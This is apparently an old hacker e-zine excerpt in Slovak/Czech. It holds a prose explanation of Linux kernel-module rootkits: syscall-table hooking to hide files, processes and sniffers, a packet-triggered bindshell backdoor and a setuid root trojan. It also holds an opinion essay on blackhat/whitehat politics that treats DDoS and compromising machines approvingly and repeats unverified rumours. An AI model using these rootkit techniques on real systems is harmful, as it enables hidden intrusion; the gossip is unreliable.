    Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli
    vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly,
    ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju
    administratora a pripadne pokus o utok zastavia.



    Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module.
    Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do
    naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table,
    aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim
    a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.



    Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat
    ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia
    moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj
    taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM.
    To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).



    Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho
    obist napriklad pouzitim prikazu dd - dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich
    sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.



    Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:


    • maskovacie funkcie: po zavedeni do jadra zmodifikuje struct module *mp a get_kernel_symbols(2),
      takze sa nezobrazi v /proc/modules alebo vystume ksyms. Neda sa unloadnut z jadra.
    • utajenie sniffra: zmeni ioctl(2), takze PROMISC priznak bude schovany. Sniffer musi byt spusteny
      pred zavedenim tohoto modulu.
    • zmiznutie suborov: systemove volanie getdents(2) budu tiez zmenene, takze subory obsahujuce
      dane slovo budu neviditelne.
    • maskovanie procesov: podobne ako maskovanie suborov - procesy obsahujuce dane argv polozky
      sa nebudu zobrazovat a nenajdeme ich ani v /proc/ filesysteme
    • presmerovanie execve: ked sa ma spustit definovany program, tento modul spusti miesto neho
      iny program. Pouziva volanie brk(2) specialnym sposobom, na zvacsenie datoveho segmentu
      programu este pokial je v kernel rezime. To je 'vymozenost' linuxu.
    • socket recvfrom() backdoor: po prichode packetu, ktory ma danu velkost a obsahuje dany retazec,
      spusti sa program. Vacsniou ide o shellovsky skript, ktory spusti bindshell.
    • setuid() trojan: po spusteni suid programu s konkretnym uid, volajuci proces dostane
      uid = euid = gid = 0



    Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze
    strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu
    privilegii jednotlivych uzivatelov a procesov.

    Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra.
    Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).

    Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav
    k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.




    Pouzita literatura:



    Historia Unixu

    http://cm.bell-labs.com/cm/cs/who/dmr/hist.html

    http://www.english.uga.edu/hc/unixhistory.html



    Popis programatorskych chyb

    http://www.tuxedo.org



    Popis stack smashingu

    Natan P. Smith - Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps



    Pisanie stack overflow exploitov

    PALSMOID/THC iN 1996 - STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX



    Ing. Zdenek Vratil - Architektura PC na bazi Pentia [1994]

    Hatch, Lee Kurtz - Linux, Hackerske Utoky [2002]

    O'Reilly - Bezpecnost v UNIXu a Internetu v praxi [1998]





    maniac, maniac(at)localhost.sk, odborna korektura by sd(at)hysteria.sk a wilder wilder(at)hq.alert.sk


    navrat na obsah

    co ty na to ? board








    cerne a bile klobouky



    ackoli to tak muze vypadat, kdepak, toto nema nic spolecneho s modou, i kdyz pojem
    "blackhat" a "whitehat" se dnes stavaji modernimi a dostavaji se do podvedomi
    verejnosti. ja se tady jenom pokusim ujasnit co presne to znamena a vubec provest
    ctenare "politickou slozkou" security sceny, vezmeme si tady na paskal
    nejznamejsi jmena a sjedem je jako politiky v nejakem bulvarnim platku, ostatne proc
    taky ne, zaslouzi si to. (tak me napada muze byt prielom bulvarni platek ?)



    na uvod co to tedy znamena, nalepkou "whitehat" se povetsinou oznacuji lidi co
    security rozumi a nebo alespon delaji ze security rozumi (theo de raadt, ron dufresne ...
    ;-), pisou security software, pripadne nalezene bugy v jinem softwaru okamzite
    zverejnuji k velke a vseobecne radosti verejnosti. na druhe strane, blackhat je
    nekdo kdo najde bug v nejakem softwaru, napise si na nej exploit a pouziva ho ke
    vseobecne radosti sve. potud vsetko v poradku dokavad se nezacali dit _fakt_ spatne
    veci se securityfocus, nasli se "security experti" jako iss (www.iss.net), o tom dale ;-) nuze
    ...



    security firmy

    vypada to ze zacina realna kyberneticka valka mezi hackery, jak o ni mnozi
    cyberpunkovy spisovatele snili. v poslednich dvou letech se security scena stala
    natolik byznysem ze se do ni zacali cpat lide co jsou spise ekonomove nez
    programatori. vzniklo spousty "security labu", jako hub po desti viz treba iss. u
    iss je treba se na chvili zastavit - je to velice zajimava corporation jakozto
    nedisponujici zadnymi schopnymi lidmy stale publikuje nove a nove bugy v masivne
    pouzivanem softwaru, coz je nanejvis podezrele. nuze jak to je doopravdy:



    remote shell bug v php (www.cert.org/advisories/CA-2002-21.html) - nalezen a uspesne exploitovan blackhat
    slozkou skupiny
    teso, nanestesti exploit byl leaknut script kiddo komunite, takze netrvalo dlouho a
    spousta lidi "nasla" bug v php.


    apache chunking vulnerability (www.cert.org/advisories/CA-2002-17.html),
    (opet teso - existuje funkcni exploit na solaris,
    linux a *bsd, pro ty co nemohou spat - pouziva se hezka kombinace signalu a
    scoreboard, gobbles napsal rychlejsi exploit vyuzivajici faktu ze memcpy() je
    ekvivalent memmove() na *lsd) - tento bug byl po dobu asi pul roku privatni
    zalezitost, ale pak o nem jeden z clenu skupiny teso (byl to zip, kompletne se
    zdiskreditoval a kdokoli se snim odmita bavit, btw) rekl iss (zda-li za uplatu ci ne
    nikdo netusi) a dalsi "profesionalni" security advisory od iss je na svete. v tuto
    chvili iss inkasuje obrovske sumy za sve "enterprise security solutions" a v pojmu
    "ty odbornici na sekjurity" jsou takrka fenomemem.


    openssh 2.9-3.3 remote challenge remote root bug (www.cert.org/advisories/CA-2002-18.html) - nalezeno nekolika blackhat
    skupinami nezavisle na sobe, po dlouhou dobu privatni zalezitost, bug je vicemene
    nezajimavy ponevadz z hlediska defaultnich instalaci je napadnutelne opravdu jen
    openbsd.

    bind8 recursive query response bug (www.cert.org/advisories/CA-2002-31.htm) - asi rok stara zalezitost jednoho _velice_
    schopneho clovicka z adm. tento bug a jeste nektere jine o kterych nechci a ani
    nemuzu psat byli a jsou mimojine zneuzivany k infiltraci source ftp a cvs velice
    zajimaveho softu ;-) btw, apache.org _melo_ backdoornute zdrojove .tar, ale jen na
    dobu nekolika minut a do dneska to odmitaji priznat ;p), jak se dostal do paratu iss
    je velice zajimava historie, ale zhruba to je tak ze adm ownulo pomoci tohoto bugu
    jednomu "security expertovi" masinu, ktery si toho po nekolika dnech vsimnul (sakra,
    to je nahoda) a nanestesti na teto siti bezel packet logger. a ponevadz na dane
    masine krome dns nic jineho nebezelo, dali si 1+1 dohromady, udelala se analyza
    paketu a z toho uz se dalo relativne usoudit kolik uhodilo.



    neni proto divu ze blackhat komunita (drtiva vetsina techto bugu pochazi prave
    odsud) je na iss a jim podobne patricne nasrana, kdo by taky nebyl. iss si buduje
    jmeno, postaveni a dokonce vydelava zavratne sumy na mnohdy mnohamesicni praci
    nekoho jineho.



    pr0j3kt m4yh3m

    je "odboj" proti tzv. "security expertum", ackoli nekteri lide to berou az moc na smrt
    vazne a fanaticky (www.phrack.ru), s cim zase nesouhlasim, urcite existuji i korektnejsi cesty, ale
    generalne je tato myslenka spravna. z predchoziho textu si asi kdekdo muze myslet ze
    blackhat vs. whitehat je boj na zivot a na smrt, neni to zase tak drsny: pr0j3kt
    m4yh3m se snazi zasahovat proti iss a jim podobnym, vzhledem k tomu kolik lidi se
    toho ucastni, castecne se to i dari. poradaji se ddos utoky na scriptkiddie a
    whitehat sajty (to delaji ti mene sikovni), ti vice sikovni primo ownujou stroje
    interesantnich lidi. dela se psychologicky natlak (distribuovani fake pgp klicu do
    velkych pgp klicenek, takze cilene osoby nemohou prilis dobre vyuzivat pgp), dela se
    masova inpersonace aby se dane osoby zdiskreditovaly. delaji se masove dezinformace,
    coz nekdy muze zpusobit komicke situace jako treba kdyz phc stvorilo ac1db1tch3z rumour
    (a to velice jednoduchym spusobem - stacilo pastnout na #darknet@efnet fake banner
    a domluvit se ostatnima lidma aby na /msg skriptkidacku odpovidali ze neco takoveho
    existuje ;-)
    doslo to tak daleko ze se toho chopilo nekolik chytraku a na mnoha prestiznich
    konferencich, vcetne bugtraqu, tam o tom byl rozsahly thread kde vsichni ze vsech stran
    rozebiraji zda-li opravdu existuje remote root linux kernel exploit ;p

    ze je to spatne ? drogy jsou treba taky spatne - ale druha strana fronty to dela taky
    viz. treba securityfocus kdyz posilali vlastni fake posty na bugtraq od stealtha
    (teso), vrchol vseho byl kdyz jeden clovek poslal popis bugu na bugtraq a post byl
    bloknut. dva dny na to se popis objevil na bugtraqu s hlavickou securityfocus!
    (pozdeji sem zjistil ze pozmeneny email prisel platicim sf klientum jeste ten den).
    protesty puvodniho autora jsou samozrejme vesele ignorovany a filtrovany ze vsech sf
    konferenci.

    v soucasne dobe se pr0j3ktu m4yh3m vice ci mene ucastni mnoho lidi, nekteri jsou
    velice dobrymi odborniky ve svem oboru a kteri uz maji leccos za sebou.




    full disclosure

    neni zase tak idealni jak se vsude hlasa. zastavam nazor ze pokud je nekdo schopen
    najit bug a exploitovat ho, bude zrejme natolik inteligentni ze tim nebude pusobit
    mnoho skod. naproti tomu kdyz nekdo najde bug a okamzite ho zverejni (nejlepe jeste
    s exploitem, a kdyz ne tak ho nekdo napise), script kiddies se pomejou a zacne
    masove rootovani a defacovani, coz je spise kontraproduktivni. nevim proc se
    opustilo od stareho postupu jez fungoval ve "starych dobrych casech", tj jeste pred
    nekolika lety - kdyz nekdo nasel bug, nechal si to pro sebe, maximalne informoval
    vendora. a az kdyz se dotycnej dostatecne vyradil a vendor vydal fixnutou verzi,
    pockalo se nekolik mesicu az fixnutej release bude dostatecne roztrousen po svete a
    pak se advisory teprve uverejnilo. dnes se to dela naopak, pravdepodobne aby bylo co
    nejvice incidentu a iss melo vysokou klientelu, ale kdovi.



    touto metodou se da naprosto zamezit dnesnimu script-kiddo ./hack-ovani. take by se
    zlepsila dnesni situace na trhu it prace. muj jeden velmi dobry kamarad to skvele
    definoval "kazda lopata dneska umi adminovat, tak to kde kdo rootne. no a pak si k
    tomu sedne ta lopata ktera to rootla a jsme tam kde jsme byli". je to tak, hackovani
    je dneska hrozne yzy, pro kohokoli, staci si natukat packetstormsecurity.org,
    stahnout par latest exploitiku a hura. drive si to kazdej musel nakodit sam - a
    rozhodne to bylo lepsi.



    konec

    tomuhle konec jentak nejspis nebude, prognozy jsou ze se situace ma dale zhorsovat.
    nastesti osveta je relativne rychla a lide v pozadi (tj. ty co nakonec ty bugy
    najdou) co zivi cele to monstrum zvane "security industry" si zacinaji uvedomovat ze
    jsou v podstate manipulovani a ze pachaji vice zla nez dobra.



    ja sem si tento fakt uvedomil asi pred rokem, od te doby jakoukoliv svoji tvorbu
    (krome trivialnich veci jako treba wuimapd) nepublikuju (krome pratel kterym opravdu
    verim), at uz jde o exploity, nebo nove verze jednoho dnes velice rozsireneho linux
    kernel rootkitu, tot me oficialni tiskove prohlaseni ;-p



    mnozi si asi ted mysli ze whitehats & blackhats jsou uhlavni nepratele, no, neni to
    tak vzdycky. whitehats ktery sem v predchozim textu oznacoval jako "security
    experty" jsou mineni spise jako iss a jim podobni, kdezto realni whitehats jsou
    autori vecinou kvalitniho softwaru jako treba openwall, ids, lids, medusa,
    grsecurity, napriklad ja jakozto autor nekolika rootkitu a spender, jeden z autoru
    grsecurity se normalne bavime o security zalezitostech ktere nas zajimaji, tj.
    security na kernelove urovni vymenujeme si tipy a nebo si delame naschvaly, von
    treba vymysli nejakou techniku ochrany a ja mu ji do druhyho dne obejdu a tak. to je
    imho krasna ukazka jak spoluprace mezi obema stranama muze bejt produktivni.



    reference sem davat nebudu, kdo bude chtit at si je najde sam nebo at se me primo
    zepta.



    poznamka:

    informace v tomto textu jsou vicemene neuplne a dali by se spise oznacit jako spicka
    ledovce. vychazeji z mnohaletych konverzaci na irc s nekolika stovkami lidi. uvedena
    fakta a nazory, ackoli by mohla byt spravna, by nemela byt brana seriozne - jedna se
    jednoduse o ciste osobni nazor autora. ucelem clanku neni nekoho varovat ci
    zastrasovat aby nepodcenoval hackery (to by nemel delat tak ci onak, btw), ale spis
    vysvetlit nektere nepochopitelne veci co se dnes deji. kazdopadne kdo se spoleha na
    komercni security (nejsi nahodou klient securityfocus ? ;-) je zhruba tak o mesic az
    pul roku pozadu. pozor na to. mozna vam prave ted nekdo ownuje masinu ;p



    sd, sd(at)hysteria.sk


    navrat na obsah

    co ty na to ? board











  • There are currently 9944 K available in
    2nd Guild's K-treasury.




    get 1 🦆 for 5 🐘
    get 1 🐘 for 1 🦆